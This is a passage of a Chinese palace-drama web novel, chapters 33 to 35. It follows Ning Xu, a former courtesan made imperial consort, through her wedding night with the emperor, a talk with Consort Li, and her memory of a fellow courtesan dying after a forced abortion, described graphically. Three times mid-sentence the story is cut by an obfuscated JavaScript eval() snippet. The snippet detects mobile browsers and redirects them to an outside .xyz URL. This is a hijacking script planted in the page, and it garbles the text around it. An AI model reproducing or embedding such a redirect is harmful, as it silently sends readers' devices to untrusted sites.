宁絮先一步被送入洞房，端坐床边，等着石虔来掀盖头，继而完成夫妻之实。 她伸手摸了摸，没摸着喜帕。也是，她早就不是处子之身，真放条白帕子，弄不好陛下又觉得自个儿受侮辱了，要大发雷霆。 她手指叩着床沿，计时。一个时辰后，才听到开门关门的吱呀声。 石虔坐在她身畔，许久未动。 她坐得快要麻木了，耐性耗竭，待要自己动手撩开，石虔制住她：“三娘。” “陛下，”她道，“现在是什么时辰了？您明日还要早朝，咱们不若快些？” 石虔闷笑：“三娘还着急了？以往咱俩也没少行周公之礼，今夜洞房花烛，意义不一样，少安毋躁。” 合着不是你在这铜床边上挨硌。 宁絮咬牙切齿，听他不紧不慢地倒酒。酒水冲刷瓷杯，让她想起两年前去找秋霞的路上，翻山越岭途径溪流，溪水落到岩石上炸开的声音。 他倒好了酒，才缓缓将盖头掀开一角。宁絮的轮廓本就偏深，又是浓妆艳抹，在烛光下妖冶得过头，陡然生出一股鬼气。 石虔看呆了眼，七魂散了六魄。宁絮见了他这个痴相，抿嘴一笑。 好多年前常来明月楼的一位官员，就爱看她凤冠霞披，扮作新娘子。他妻子早逝，新婚三月就害了急病，撒手人寰，他哀恸至极，终身未娶。 他得空便流连花柳巷，最大的爱好就是看姑娘当新娘。宁絮是最符合他胃口的，妆面衣裳都是老一套，次次都能令他目不转睛。 当然，惊艳过后，还是要办实事的。做戏要做全，否则算什么夫妻？她不尽心尽力，可对不住他付给鸨姐儿的大把银子。 如今能在石虔脸上看到同样的表情，几乎是原样复刻过来的，她一瞬间真想把鸨姐儿和当年的姐妹们都拽过来，好好欣赏这一幕。 她身价水涨船高呢，皇帝到了她这儿，也不能不痴迷。 遥想当初她动用了全副身家，点了又点，确定凑够了赎身的钱，交到鸨姐儿那里，鸨姐儿很是轻蔑。 “明月楼并非后继无人，你要走，我也不拦你，底下几个好颜色的姑娘，训练一阵，顶替你不成问题。她们比你，年纪还更轻。” “不过你千万别以为，你跟他走了，就能摆脱现在的处境。一日卖，终身卖，卖到死为止，这就是你的命。” 鸨姐儿一贯对客人极尽谄媚，对她们面若寒霜，狗嘴吐不出象牙。她肯痛快放人，宁絮已然松一口气，因而并不计较她说话难听。 却没想到鸨姐儿这番话倒是颇具远见。一辈子过去了，她还是在卖，石虔强买强卖，她不卖也不成。 这回连赎身的路也走不通。鸨姐儿要钱，她还能努力去赚，从牙缝里省。石虔什么都有了，她难道还给得出比江山更贵重的东西？ 石虔将盛了酒的小瓷杯递给她，自己则端起另一只。饮完合卺酒，夫妻同心，永不分离。 这种酒里，一般都加了助兴的东西，毕竟要早生贵子。宁絮闻一闻就知道，但她满不在乎，一饮而尽。 瓷杯搁置一边，石虔欺身，要解她嫁衣。一只手撑在床上，挪了挪，忽觉指尖濡湿。 低头一看，宁絮坐着的那一片，正往外渗血。因被褥都是大红的，不太显眼，但仔细辨认就瞧得出，她周围的颜色比被子的更深。 宁絮咬着下唇，有点难为情：“臣妾……好像是来癸水了。” 石虔脸上难掩失望：“那些人怎么给算的日子，怎么偏偏就今日——” “臣妾的日子，是不大准的，时而数月不见踪影，时而一月三次。愿陛下恕罪。” 石虔这份埋怨倒不是冲着她的，闻言摸了摸她的头发，笑道：“朕不是怪责你，来或不来，也不是你说了算的。不过你这身子是得调理了，明日朕就召御医。” 他差人送了月事布来，又还了被褥。末了吹灭蜡烛，搂着她躺下。 今晚他倒真的做了一回正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15407059|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人君子，手脚都规规矩矩的。只是宁絮不习惯被人搂着睡，他的胳膊毕竟比不得枕头那么舒服。 见他似乎睡着了，她轻轻蠕动，妄想悄没声逃出他的领地范围。 挪了一半就被捞回来，石虔眼皮掀开，双目清明：“三娘，干嘛躲着朕呢？” “朕……不会再像以前那样对你了，都过去了。” 宁絮被他以一个略有些别扭的姿势压制着，无奈道：“陛下，您松一松手，臣妾日子特殊，不好这样睡的，明日起身，床铺又该脏了。” 石虔抬起胳膊，没再锢着她，由她平躺着，而后手伸进她的那一床被子里，去摸索她的手：“就这么牵着，总行了？你半夜不会去解手吧？” “应该不会，臣妾方才没喝太多。” 宁絮在外两年，身边没有躺过其他男人，只和诗诗秋霞挤过一张床，小话说个没完，不知道哪儿来那么多话。 兜兜转转，又和石虔睡在一起了，她唇舌就像被麦芽糖糊作一处，讨喜的话在她嘴里撞得头破血流，终于撞出来了，但是带着血，变了味，因而总叫人皱眉头。 她对男人，其实总是无话可说的。是一条无形的金纱带绑着她的舌头，推拉牵引，才使得她看起来伶牙俐齿。 他们都还没有入睡，又做不了别的。再没人说话，床褥都要长出钉子，叫人躺不下去了。 最后石虔纡尊降贵，开了金口，唤她：“三娘。” “陛下，臣妾在。” 他摩挲着她掌心和指节的茧子：“你在客栈每天都做什么？那个老板雇不起店小二，拿你一个人当几个人使吗？这么多茧，还有疤。” 这个就说来话长了。宁絮假话真话混着说：“臣妾做的都是平常活计，因为不便见到太多的人，故而以操持后厨为主。刷锅洗碗多了，手是细腻不起来的。” 她顿一顿，又道：“这双手若是拿不上台面，给陛下丢人了，臣妾这阵子就先戴手套，等养得差不多了再摘下来。” “没有的事，你少胡思乱想，丢什么人了。有人冲你嚼舌根了？” “没，陛下可别冤了好人，平白去为难人家。” 石虔指尖点到她手心偏右侧的一处老茧，沉默片刻，忽然道：“这个不是你这两年磨的吧？” 宁絮被他问哑巴了。谁闲的没事去数自己手上有几个茧子，还要记住它们是什么时间冒出来的。 “臣妾没有印象了。不过臣妾从明日开始，会好好养护双手。这些茧和疤，但愿御医有法子消除掉。陛下若是介意臣妾这两年不在宫中，臣妾甘愿领罚。” 石虔叹了一口气：“三娘，朕没有要罚你的意思。这件事朕已经翻篇，不再追究了，你是如何逃出去的，朕也不查了。” “朕方才想起，当初你脱离明月楼，与朕一道上京，路上为了换饭吃，做了不少脏活累活。你那会儿剃了头发，戴个帽子，打扮成男孩模样，还拉过车。” “拉车的绳子，多粗啊，你手心和指根磨出好多血，绑块布又继续干。朕晚上都忍不住叫苦，你还反过来安慰朕。” 宁絮口吻如梦境一般飘渺：“麻绳上有倒刺呀，叫苦连天，再正常不过。好在没做太久，不然臣妾也要挺不住的。” 石虔的手足足大她一圈，正好将她的整个包裹住。 “御医肯定能治好的，他们成日没少琢磨皮肤的事，后宫这些女人，问的最多的就是这个。” “三娘，等你的手养好了，我们从头来过吧。” 33. 传授经验 宁絮嗯了一声，不作更多回应。 石虔欢喜地拍了拍她：“睡吧，睡好了，身子好得快。” 婚仪翌日，她就过上了被三个御医包围的生活。一个调理月事，一个保养皮肤，还有一个专门看骨头和关节，石虔老觉得她的膝盖有隐疾，要特别留心。 她不能就此赖在太和殿，把石虔包圆了。平日起居依旧在翠微阁，于是灵丹妙药，八珍玉食，轮着往她屋里捧，邓皇后生下太子，坐月子的排场也比不得她。 石虔免去她的一切礼节，她无需像其他嫔妃那样，每日去长乐宫见邓皇后。当然，她有这份心，主动要去，也不会有人拦她。 她象征性的拜访了几回，邓筠身居高位，人也成熟了一些，心里不乐意见着她，面子还是给的。 从长乐宫回来，再没有别的活儿要干，石虔放了话，女红都不允许她做。 不事生产，又被名贵的药材食材养着，不消一月，她脸色比从前红润许多，身形也逐渐丰润。在庭院里百无聊赖地踱步，晚云瞥见她，就停下手里的活计，目不转睛地盯着她。 “做什么这样看我？怪吓人的。” “娘娘好看，感觉娘娘周身有一圈很朦胧的光，整个人又很柔软。哎，我嘴笨说不清，像什么……哦对，像菩萨！” 宁絮头一回被这么评价，想起庙里的佛祖菩萨都是大脸盘子大耳朵，颇为富态，心下了然。 光吃不动，养猪呢。 她即刻吩咐晚云：“今晚的燕窝撤掉，你和翠柳吃了吧。当归红枣粥我也不要了，这些大补之物吃一两天可以，时间一长消受不住。” 晚云收了笑容，诚恳道：“娘娘，您不胖，您离胖还远着呢。怪我不会说话，我掌嘴，您和菩萨都不胖。” 她作势举起手要扇自己，宁絮拦下她，食指屈起来刮她脸：“你啊你，你现在很可以嘛，学会洞察人心了，还会反过来拿捏我了，小坏蛋。” 晚云一边眉毛挑起，一副得意相：“我家娘娘长得美，心地善良，是最好的娘娘。” 她又对着宁絮的脸看了片刻：“不过我没有贫嘴，您的确令我想到菩萨。” 宁絮笑道：“菩萨到底什么样啊，你见过没？” “菩萨就是不能太瘦，但也不会很胖，又像天上飘着的云，又像地下的泥土……像从来没见过的母亲。” 晚云调动自己所有的词汇量，边比划边对她叽叽喳喳，神采飞扬的样子与稚童无异。 宁絮心道这孩子没偷懒，自己不在的两年，她应当是抽空念了一些书的。 但不管晚云如何解释，这些补品是得控制了。珠圆玉润一些，固然漂亮，但身子也不如以前轻灵了，跳跃、攀爬、闪躲的动作，做起来会很吃力。 她眼下逃不出去，可总有一天会远走高飞，得时刻为了那一天做准备。 “什么母亲呀，我才不想当母亲，我也不想当菩萨，菩萨一天到晚干不成别的，只能坐在一个地方。”她接过晚云手里的米粥，撒了一点给鸽子，“你刚才说的那些，也就天上的云还算不错。” “宁姐姐可别这样说，天上的云，听着就轻飘飘，虚无缥缈的，有种福薄的感觉。” 宁絮正入神，冷不防听到一个完全陌生的声音，瞬间打个激灵。 回身望去，翠微阁门口站着一个女人，身后跟了若干随从，不过都与她有些距离。 她认出来了，这是李贵妃。 上次在长乐宫，石虔发火逼她挨个跪嫔妃，她跪完了邓皇后，紧接着就是跪这位贵妃娘娘。 当时她并未仔细端详李贵妃的容貌，只觉得这人高高在上，面若冰霜，很不好惹。 此刻李贵妃被暖融融的阳光照着，眯起眼睛对她微笑，倒显出几分真诚。 宁絮迎她进来，叫翠柳上茶。 “贵妃娘娘怎的想到来我这儿？” 她问完就发觉不对，之前对谁都叫娘娘，喊顺嘴了，现在她俩平级，再这样喊，未免怪异。 李贵妃长了一双猫眼，眼珠子一动不动的时候显凶，一旦转起来，就有了俏皮意味。 “我姓李，名玉淑。宁姐姐不嫌弃的话，大可以直呼我名字。” 她从怀里拿出一只香囊，递给宁絮：“我自己缝制的，里面放了艾叶和薄荷，能助眠安神。” 捕捉到翠柳欲言又止的神色，她补充道：“宁姐姐放心用，我没往里掺麝香。我不是那种想方设法阻止人家怀孩子的女人。” 宁絮心中深感遗憾，她宁可李贵妃就是那样的人。 她收下香囊，略带歉意：“玉淑，你来得突然，我没来得及备礼物，怪不好意思的。你等我几日。” “哪儿的话，我此番上门，带的这个香囊也不算多丰厚的见面礼，真要说起来，可能赔罪的成份多过其他。”李贵妃长长的呼出一口气，“长乐宫那事儿，姐姐别往心里去。” 宁絮自然不至于记恨李贵妃。该石虔背的锅，她绝不甩给别人。 宽慰了李贵妃几句，又聊了一会儿家常。一壶茶喝完了，翠柳去端薏仁汤。趁没有闲杂人等在场，李贵妃忽然压低声音问她： “姐姐方才是在说玩笑话吗？为何不想当母亲？” 她即刻又道：“并非我偷听，我那时到了门口，声音就传到我耳朵里了。” 宁絮啼笑皆非：“这么小心，我以为你要问什么事呢。生孩子太遭罪了，谁乐意当母亲？” 许是第一次听到这样的论调，李贵妃的猫儿眼瞪得老大，如同受惊：“哪有女人不想做母亲？别的不说，后宫这些妃子，包括我自己在内，全盼着有孩子呢。” “话虽如此，可大家盼的，终究是孩子带来的荣宠，也许还有孩子本身对母亲的依恋。应该没人喜欢生孩子的过程吧。” 宁絮说着，意味深长地看她一眼：“也不大喜欢要孩子的那个过程。” 李贵妃双颊绯红：“姐姐，你这话可真……可真有点那个……” 宁絮是什么来历，她老早就听说了，宫里无人不知无人不晓。这样的女人在各种层面上，都称得上见多识广，作风不会像闺阁小姐，她也早就料想到了。 但这，未免也太豪放了…… 宁絮见她连脖子都红了，笑道：“哎哟，又不是没做过那种事，就算没做过，都到后宫了，迟早也要做的，害羞什么。” “我是做腻歪了，但你们都还小，说不定能从中找到乐趣。怎么，今天是来找我讨教这方面的秘诀的？” 李贵妃对她告饶：“姐姐，你给我点面子吧，真是臊死我了……” 她伸手扑了扑自己的脸蛋，等温度降下去些，才委婉地问宁絮：“姐姐又不爱那码事，又不愿要孩子，那该如何留住陛下的心呢？” 宁絮可算明白她今日的来意了。 这是看石虔对她念念不忘，走火入魔，所以取经来了。 李贵妃没怎样绕弯子，也没使绊子，算得上磊落。宁絮喜欢坦荡之人，不介意与她多说几句， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15416253|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只可惜在这方面，她实在给不出什么有用的经验。 李贵妃是李太傅家的姑娘，论娘家势力，很够看了，不然也升不到贵妃的位分。论美貌，也能打败大部份妃子。 但她至今无所出，石虔翻牌很难翻到她，仅有的两三次，也是草草了事，平时更没有你侬我侬的机会。 按前朝臣子那一套规矩来说，她这种情况，就等于挂了个高位，却并无相应的实权。 宁絮三两下就看破了她的困境，反问她：“你要得宠到哪一步，才算足够？你的娘家，可是还需要你继续朝上爬？” 再往上，即是皇贵妃。如果还要更进一步，则是皇后，这就不便言说了。 李贵妃几乎要伸手捂她嘴，说话都变成气音：“我能要个孩子，能跟陛下说得上话，就满足了，不敢肖想太多！” 那就是到能吹枕边风，谋一些不算过分的福利的程度。这不难。 宁絮扳着指头跟她算：“你平常太爱板着脸了，乍看凶巴巴的，要多笑一笑，尤其对着石……对着陛下。说话也直，你看你对我就直来直去，这是大忌，要婉转些，人家才想探索你。” 她教给李贵妃的，无非是当年在明月楼，对付恩客的那一套。底下的妹妹们没她的美貌和风情，但学了她这三板斧，还没吃透，已经足以应付八成男人。 李贵妃一一记下了，但又将信将疑：“姐姐就是凭这些办法吗？” 宁絮莞尔，她明白自己做的事与嘴上说的大相径庭，不怪李贵妃起疑。 “我说的这些法子，可能不能让你得到陛下的心，但达到你的目的，是绰绰有余了。他的心恐怕不如他的一点宠爱有用，反而叫人受苦。” “而且，”宁絮手里摆弄着香囊，“我和他的情况太特殊，别的人模仿不来，不如另外开一条路。” 这只香囊用料极好，针脚精细，一看便知是上了心的。放在屋里，蚊虫都不敢来。宁絮感念她心意，把石虔的老底都抖给她了，一些隐秘的嗜好也没瞒着她。 此番倾囊相授，勾得李贵妃满眼崇拜。宁絮拍着她手背，喋喋不休道：“你记下要点，回去之后好好谋划。半年内要个孩子，我觉得可行，再不然放宽到一年，绝对可行。” “到那时候，他对我应该也淡了，你又有了孩子，他的重心必定转移去你那里，我也能落个清闲。我一身轻，对他不求什么，他狗皮膏药一样粘着，我还嫌烦——” 李贵妃正被她逗得花枝乱颤，笑意突然冻在脸上，咧开的嘴也忘了收回去。 宁絮心脏像被捏了一把，缓缓撇过头，撞上石虔毫无表情的脸。 四目相对，她察觉不妙，想弹开眼神，偏偏下巴让石虔捻住了，躲不得。 “什么叫你还嫌烦？” “朕像狗皮膏药一样粘着你了？” 背后嚼人舌根本就为人不齿，还叫正主逮个正着，脸皮薄一点的，真要就地挖缝钻进去。 幸而宁絮的脸皮比常人厚些，问道：“这才下午，陛下怎么不批阅奏折，或者去御书房潜心研究学问，倒有空来臣妾这儿？” 石虔怒极反笑：“你还倒打一耙了，指责朕玩物丧志是吧？” 宁絮用了一分力去掰他手指，自然掰不开，像踢腿闹腾的小猫小狗，以柔弱可爱之姿换怜悯：“臣妾错了，玩物丧志的是臣妾。无事可做，就邀请玉淑前来做客。女人能聊什么？还不是聊自己的男人。” “嬉笑玩闹之际，一时失言，还望陛下恕罪。” 34. 阴影 宁絮一句“自己的男人”，让石虔火气消下去不少。 但他要是这么容易就被哄好了，有失威严，还是得多装模作样一会儿。 “你等着，这事不会就这么过去，等朕想想该如何罚你。” 说罢又看着李贵妃，这回他脸色是真的不好看：“你也是，没事就在自己的寝宫画画弹琴，要么做做针线，干点什么不好，跑来找宁贵妃？她在休生养息，御医说了，情绪要尽量平稳。” 李贵妃低头道歉，灰溜溜地走了。宁絮埋怨他：“陛下未免不分青红皂白了，方才臣妾言明，是臣妾叫玉淑来解闷的。” 石虔嗤了一声：“真以为朕看不出来啊，肯定是她主动来找的你。你在后宫这么久，几时去跟其他嫔妃打交道，找她们闲谈过？” “还一口一个玉淑，叫得这么亲。通过说朕的坏话，拉近你们的关系？” 宁絮讪笑，也不知道他什么时候过来的，听到了多少，只得硬着头皮狡辩：“臣妾说的也不算坏话吧……除了狗皮膏药那一句，这的确是臣妾的不对。陛下要罚，罚这一句便是，罚多了，臣妾可不认账。” 大约是批奏折批得顺利，也没有臣子唧唧歪歪乱提意见，石虔今日的心情显然很不赖。宁絮一认罚，哪怕只认三分之一，也足够令他龙颜大悦。 宁絮身上馨香，身段丰盈柔美，卧房又仅有几步之遥。这时若再不做点什么，多少对不住大好时光。 被他抱起来的时候，宁絮就隐约感到，今天恐怕在劫难逃。她已经很尽力地拖延此事，但入了宫，就是被摆上了石虔的餐桌，早晚要被吃，只是顺序问题。 她垂死挣扎：“陛下，陛下您不是说，要等臣妾的手养好吗？臣妾的茧子还没消完呢。” 石虔兴致来了，哪管得了那么多，抓过她的手一看，敷衍道：“差不多了，再怎么努力养，也养不回初生婴儿那样。做人眼里还是要揉得沙子，哪能事事完美——” 宁絮背挨着床板了，虽然隔着褥子，但石虔兴头上摔她的力气颇大。她浑身一抖，身子不自觉蜷缩成一团。 “陛下，再等一阵子好吗，求您……” 石虔不爱被拒绝，十岁出头那会儿他碰壁的次数够多了。好在后面做了皇帝，被众星捧月多年，也算一种疗愈。 念在宁絮是跟他一起苦过来的，意义非凡，他自认对她已是无比包容。 她再推拒下去，他就不能不挂脸了。 “三娘，朕方才听到，你希望李玉淑有个孩子。” 他的手抚在她小腹上，快要把整片腹部都盖住：“三娘真是大度，大度到舍己为人了。你可曾盼望过，自己也能有个孩子？” 宁絮强忍着没有把他踹下去。 “朕盼过，一直盼着。凭你与朕的情分，甚至不该只有一个孩子，我们会有很多个，儿女双全，多子多福。” “该你的，朕都会补偿给你，重心绝不会偏移到其他嫔妃那里。你要多信任朕一些。” 前不久宁絮的癸水刚走，身上也没有伤病，再难找出任何借口了。 她闭上眼，准备承受一切。 倘若躺在此处的是李玉淑，那就皆大欢喜了。想要的人总是要不到，不想要的又偏偏塞过来，老天爷真是不走眼。 石虔守信，对她照顾得还算周到，不像年轻时那般莽撞。疼确实没多疼，然而也并不快乐，她实在无法心无旁骛投身其中。 做这件事，男人的快乐是很纯粹的，女人却只能快乐一瞬，甚至连这一瞬也没有，随之而来的，就是隐晦而绵绵不绝的担忧。 她是幸运儿，在明月楼喝了那么多碗避子汤，每一碗都奏效了。可有的姐妹没这么好命，阴差阳错，还是有了。 她们癸水大都不规律，因而发现的时候多半已经三月有余。 鸨姐儿当然不准她们生下来，一来养胎和坐月子加起来，耗时太多，接不到客挣不到钱。二来孩子跟某位恩客有血缘关系，日后少不得牵扯出各种麻烦。 怀了便只能堕掉。有的胎儿大了，喝药起不到效果，就喊看门的汉子上来踹一脚。 经此一遭，去掉半条命都算好的。当场一尸两命的，大有人在。 当初有一位美貌与她平分秋色的姑娘，叫柳莺。因鸨姐儿和某些恩客的煽动，她二人或主动或被动，总免不了较劲。 后来柳莺惜败，她不走运，大了肚子，一碗淡竹叶汤灌下去，排出一滩血块和一个不成形的小东西。 那几天她脸白得像死人，鸨姐儿开恩，允许她歇息两日。第三日有恩客上门，点名要她，她便被人架到梳妆镜前，往脸上搽粉。 柳莺让这位赏识她的恩客失望了。事情做到一半，她突然软倒，再无声息。 床榻顷刻间血海翻波，客人又惊又怒，找鸨姐儿讨要说法。 鸨姐儿推宁絮过来，以作补偿。客人勉强买账，但终究是被搅扰了兴致，末了还是气势汹汹要求退掉一半的钱。 趁他们讨价还价，她推开杂物间的门，最后看了柳莺一眼。 死了的姑娘，都会暂且安放在此，等天黑了再丢出去。柳莺裹在废弃的被褥里，眼睛半睁着，露了一截手在外边，人已经开始发僵，手指扭成极不正常的角度。 宁絮闻到一股浓重的腥味，是从被褥上散发出来的。柳莺的血差不多流干了，这会儿不再流了，血冷掉的味道萦绕在宁絮鼻尖，她嗓子一抽，几欲呕吐。 慌乱中她试图抓住什么东西，来抵抗这种作呕的感觉。这里没什么可抓的，她胡乱扒拉一通，不偏不倚握住了柳莺的手。 冷。太冷了。 她不是没玩过雪，但这只手的冷又与冰雪不一样，像一条有意识的虫子，顺着她掌心往胳膊上窜，再窜到心口，直往她心里钻。 宁絮上牙碰下牙，格格打颤。饶是石虔陶醉忘我，也无法忽略这个声音。 他将她整个拢住：“怎么了，还是疼吗？疼就喊，不要忍着，小心咬了舌头。” 宁絮胸膛剧烈起伏，用了全身气力也吸不进气似的，好半天才从牙缝里挤出几个字：“我冷……陛下，我冷……” 她脸上血色已然褪得干干净净，这份难受不似伪装。石虔连忙中断，命翠柳去找御医。 御医来了，给她扎针顺气，把了脉却诊不出病，一脸为难：“陛下，娘娘的脉相分明很强劲……” “那你的意思是宁贵妃装病？多厉害的角儿，能演得如此出神入化？”石虔面色不悦。 宁絮呼吸还有些急促，到底是能喘气了，也就能正常开口说话：“陛下，臣妾并未欺骗您。” 眼看一口黑锅将要迎面飞来，御医抢在石虔问责之前，提出另一种可能：“娘娘的病不在身子上，也许在心里，只是症状显出来了。” 他边说边拿余光偷瞥宁絮，幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436967|167622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好宁絮接了他的话：“是的，陛下，臣妾方才脑中不受控的，回忆起一些很不好的事情。然后不知怎的，人就不对头了……” 换一个愚昧些的皇帝，立时就要去庙里找法师来辟邪驱鬼。不过石虔不怎么信这些，当初在民间见过的神婆多了，又贴符纸又撒火塘灰，没见有什么作用。 他遣退御医，坐在宁絮身边，将她双手捂暖和了，问道：“三娘，可否告诉朕，你回忆起什么了？是跟朕有关的吗？” 从头开始不是嘴上说说的，她的心结若是还在，他也只能想办法慢慢解开。谁叫他当年自己作孽。 他脾气算不得好，但在这件事上，他要让她看到自己的诚意，九五之尊也是会放下身段哄人的。 宁絮卷了卷被子，把自己卷成一只蛹。她脸色恢复了，对石虔摇头：“不是陛下，与陛下无关。臣妾也没有心肺方面的病，请陛下不要刁难御医。” “怎么朕在你心里，就是一副不讲道理的模样？”石虔连笑声都放得很轻，生怕再惊着她，“不刁难，朕待他们好着呢。” 他勾勾她小拇指：“到底是什么秘密不能说给朕听？当年你和朕出去逛集市，是什么都说的，咱俩无话不谈。” 大错特错。宁絮心道。 她有很多事没对石虔开口，在他还是小石头，真正可以无话不谈的时候，她也死死守着这条底线。 明月楼在他的印象里，无非是一群漂亮姑娘围绕着有权有势的男人们转。他对其中微妙的凶险之处浑然不觉。 隔三差五就有姑娘，因为这样那样的事情死去。但小石头又没见过她们所有人，只是偶尔会感觉，好像有几个熟面孔好久没出现了。 死亡对他们这些底层百姓而言并不稀奇，石虔走街串巷，见的不少。说给他听，指望他作何反应呢，只能凑在一块儿唏嘘几声。 而且宁絮总有一种预感，他能理解任何一个人的死，唯独理解不了她们这种人的。 他们再亲密无间，有的话也没办法说。 石虔依然在对她刨根究底。他们相识多年，这或许是他最耐心的一次，她支支吾吾老半天，他还是和颜悦色，声调语速皆未变化，如一滩温吞水。 今天不交代出一点什么来，这关怕是很难过得去。 宁絮心头的憋闷感尚未完全消退，抱着半发泄半应付的心思，她将柳莺的事掐头去尾，粗略一提。 她平时轻易想不起柳莺，然而柳莺在她自己都没意识到的时候，已经深深烙印在她心底。一旦浮上来，她实在难以承受，必须掀开一个角，倒出去一些东西。 这些东西在常人眼中，与秽物无异。倒给石虔，更是不敬，该挨板子的。 但，只倒一点，就一点。她想看看石虔的真心几何。 “臣妾并非存心扫陛下的兴，臣妾只是怕得狠了。柳莺死得那么惨烈，没有哪个人应该这样去死……” 她抽抽嗒嗒的哭着，石虔拿着帕子给她擦眼泪，软着声音哄道：“不管柳莺是怎么死的，这都轮不到你头上。有朕在，没人敢这样对你，朕更不可能这样对你。” “你不要害怕，三娘。不舒服了跟朕说，朕温柔些，慢慢来，再过些时日你就能适应了。生孩子的事，你也不用担心，这么多御医听候调遣，你一定平平安安的。” 宁絮神色陡然间黯淡下来，一字一顿道：“您还是要我生孩子的，是么？” 35. 不速之客 石虔全然没听出她话中含义，理所应当地点头：“难道你不想要孩子么？算一下时间，照理说，朕的第一个孩子本该是你所出。你吃了亏，朕自然要加倍补回来，多给你几个。” “再说了，后宫里的妃子都要有孩子，谁膝下无子，就是被人家踩在脚下的命。朕在场的时候能维护你，但倘若不在呢？” 宁絮哑然，在心里笑自己天真。 他能领会到她在怕什么，才怪呢。重活一千次，只要他还是个男人，他就永远不会懂。 横竖不是他在产床上九死一生。他将她置于险境，还以为是对她好呢。 他究竟是不是在揣着明白装糊涂，宁絮也懒得去想了。结果不会有变，她注定经此一劫。 上辈子她还没有这样脆弱，目睹了柳莺的死，也没妨碍她后来又伺候了那么多个男人。心里诸多不快，忍一忍也能过。 如今她的忍耐力一直在下降，降到了她自己都匪夷所思的地步。 石虔温热的大手再次搂过来，她无端回想起进明月楼的第一日，接待的第一位客人。她那时的反应跟现在差不多，几乎张嘴就想吐对方一脸。 有一瞬间她是动了鱼死网破的心思的，与其一忍再忍，不如拔了发间簪子，趁其不备了结此人。就算自己也小命不保，好歹来个痛快的，总比在漫长的侮辱中死去要强些。 临了又退缩了。她不怕死，但她贪生，她还没有游历名山大川，没过上童年期许的生活。 也许再坚持一段时间，她便能从这泥潭里爬出去。不死，说不定就有时来运转的那一天。 她屏着一口气，回抱石虔，声音黏糊糊的：“陛下，臣妾只是心里有道坎儿，暂且没能迈过去，您多担待。往后您再轻柔些，臣妾也尽量接纳您。” 一番话说得石虔心中痒酥酥暖融融的，唯有应声的份儿：“三娘放心，朕不会再做混账事了。你难受了也别憋着，依你我情分，可算少年夫妻，未来还要相伴到老，理当坦诚相待，一同面对。” 今日宁絮受了惊，他便放她休息，改日再战。又过了三日，他再度上门，终于得手。 男人办完了事，总是温情中夹杂一丝倦怠，石虔也不例外。他拨弄着宁絮的长发，懒洋洋地问她：“封妃仪式结束了，你现在是正儿八经的贵妃，要不要换个住处？同为贵妃，翠微阁比李玉淑的长春宫，寒碜了不止一星半点。” 宁絮周身酸麻，昏昏欲睡，闻言指甲在手心掐了一把，逼着自己清醒些。 “这就不必了，臣妾觉得还是翠微阁住着舒服，毕竟住惯了。” 她还养了一群鸽子呢，虽然目前不指望它们帮她传信，石虔盯她这儿盯得紧。可贸然搬地方，又得训练它们一阵子，还是能不动则不动。 石虔这回倒是通情达理，没有把自以为好的东西强塞给她：“也成，从太和殿来翠微阁，离得还近。不过你这里的东西都半新不旧的，总显得朕亏待了你，回头全给你换一遍。” 宁絮随他去，反正换不穷他。 然而他换的却不止床褥和桌椅。 翌日清早，她欲喊晚云和翠柳烧水，她要沐浴，把石虔留下的痕迹清洗干净。走进屋应答她的，是一个未曾见过的新面孔。 这个宫女的年纪看着比晚云和翠柳要大几岁，眉目也更凌厉，嗓音尖刻而中气十足，笑着对宁絮自报家门：“娘娘早安，奴婢名唤春桃，日后贴身伺候娘娘，听凭娘娘吩咐。” 宁絮撑起身子，眉头紧皱：“我原来那两个姑娘呢？晚云和翠柳，去哪儿了？” “她们呀，在院子里扫地呢。”春桃笑道，“重新分过工了，屋里的活儿由我来，外面的活儿则是她们做。” “谁分的工？” 春桃眨眨眼：“是陛下。” 宁絮的火气不上不下，卡在嗓子眼儿。 她瞧春桃不顺眼，可这也不是人家的错，陛下下了命令，谁能违背得了。 “你且先去准备热水吧。” 春桃微微欠身：“娘娘稍等。” 烧热水的间隙，她端了一碗蜂蜜水来，叫宁絮喝了垫肚子，空腹和饱餐后沐浴都对身子不好。 宁絮脸色稍霁，问她：“你先前是在哪位娘娘手底下做事的？” “禀娘娘，奴婢是才进宫不久的，不曾服侍其他娘娘。” 看来是石虔又新选拔了一批宫女。 无论如何，春桃手脚麻利，考虑事情也周到，抛开个人喜好，她是挑不出分毫错处的。 只是石虔此举，着实怪异。翠柳和晚云同样做得不赖，还与她相熟多年，好端端的换掉她们做什么？ 而且春桃的年纪，远超一般小宫女，按理怎么选拔也选不上她。 就算石虔忽略了年龄，破格要了她，她再怎样贴心，资历也比不得其他宫女。怎的一入宫，级别就比翠柳和晚云还要高？ 